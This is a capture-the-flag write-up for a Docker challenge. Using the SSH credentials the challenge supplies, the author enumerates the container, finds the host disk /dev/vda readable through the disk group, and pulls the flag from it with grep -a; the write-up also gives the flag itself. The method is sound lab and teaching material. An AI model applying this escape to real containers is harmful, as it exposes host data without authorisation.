Category: Pwn / Docker
Flag: MCTF25{53cur3_y0ur_D0ck3r_con7a1n3rs}
We’re given SSH access to a “very secure” Docker container:
10.240.3.51rootrootpasswordFlavor text hints that the author is overly confident in Docker isolation and that we’re allowed to “do what we want” inside the container.
“I have made a challenge so secure, you won’t be able to get the flag! Ahh, Docker is so cool these days, you can just run anything without worrying about malware.”
This basically screams: Docker/container escape / misconfiguration.
SSH into the target:
ssh root@10.240.3.51
# password: rootpassword
Once inside:
whoami
hostname
id
Output (simplified):
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),...
We are root inside the container, not necessarily on the host.
Check filesystem layout:
ls /
Nothing obviously screaming “flag”. Try the usual quick checks:
cat /flag
cat /root/flag.txt
find / -maxdepth 4 -iname '*flag*' 2>/dev/null
grep -R "MCTF25{" -n / 2>/dev/null # (this hangs / is very noisy)
No luck. So the flag likely isn’t in the container’s overlay filesystem.
Check OS and kernel:
uname -a
cat /etc/*release* 2>/dev/null
Output:
Linux 3cd45ce5c27f ... x86_64 GNU/Linux
NAME="Alpine Linux"
VERSION_ID=3.22.2
PRETTY_NAME="Alpine Linux v3.22"
So it’s an Alpine-based container.
/proc/1/cgroup:
cat /proc/1/cgroup
Output:
0::/
We clearly are inside a container, but this alone doesn’t show where the host is mounted (if at all).
Check mount points:
mount
Key part of the output:
overlay on / type overlay (...)
...
/dev/vda on /sbin/docker-init type ext4 (ro,relatime)
/dev/vda on /etc/resolv.conf type ext4 (rw,relatime)
/dev/vda on /etc/hostname type ext4 (rw,relatime)
/dev/vda on /etc/hosts type ext4 (rw,relatime)
Interesting:
/dev/vda./sbin/docker-init/etc/resolv.conf/etc/hostname/etc/hostsThis is weird: /dev/vda looks like a full disk, but we only see tiny pieces of it (bind-mounts).
List block devices:
lsblk 2>/dev/null || cat /proc/partitions
Output:
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
fd0 2:0 1 0B 0 disk
sr0 11:0 1 1024M 0 rom
vda 253:0 0 1G 0 disk /etc/hosts
/etc/hostname
/etc/resolv.conf
/sbin/docker-init
So /dev/vda is a 1 GB disk, presumably containing a full filesystem that’s partially exposed into the container.
Also, we can see the device itself:
ls -l /dev | grep vda
Output:
brw-rw---- 1 root disk 253, 0 ... vda
We are in group disk, so we can likely read from it.
/dev/vda DirectlyFirst instinct: mount the disk somewhere we control.
mkdir -p /mnt/host
mount -o ro /dev/vda /mnt/host
Output:
mount: /mnt/host: /dev/vda already mounted on /sbin/docker-init.
mount warning:
* vda: Can't mount, would change RO state
And:
ls -la /mnt/host
Result:
total 8
drwxr-xr-x 2 root root 4096 ... .
drwxr-xr-x 1 root root 4096 ... ..
So we cannot mount it a second time, and /sbin/docker-init is still just a file in our current view:
ls -ld /sbin/docker-init
# -rwxr-xr-x 1 root root 60232 Mar 26 2024 /sbin/docker-init
This is classic Docker/overlay trickery: the host disk is mounted, but we don’t get to see that mountpoint as a directory in the container’s overlay.
Mounting is blocked, but we still have raw read access to /dev/vda.
If we can’t mount, we can still scan the disk contents directly.
grep -a "MCTF25{" /dev/vda
Because flags in CTFs are usually just plaintext somewhere in the filesystem, grep -a is enough to find it.
This reveals a line containing the flag inside some binary/text blob on the disk:
...MCTF25{53cur3_y0ur_D0ck3r_con7a1n3rs}...
You can also do:
strings /dev/vda | grep "MCTF25{"
but the simple grep -a already gives us what we need.
MCTF25{53cur3_y0ur_D0ck3r_con7a1n3rs}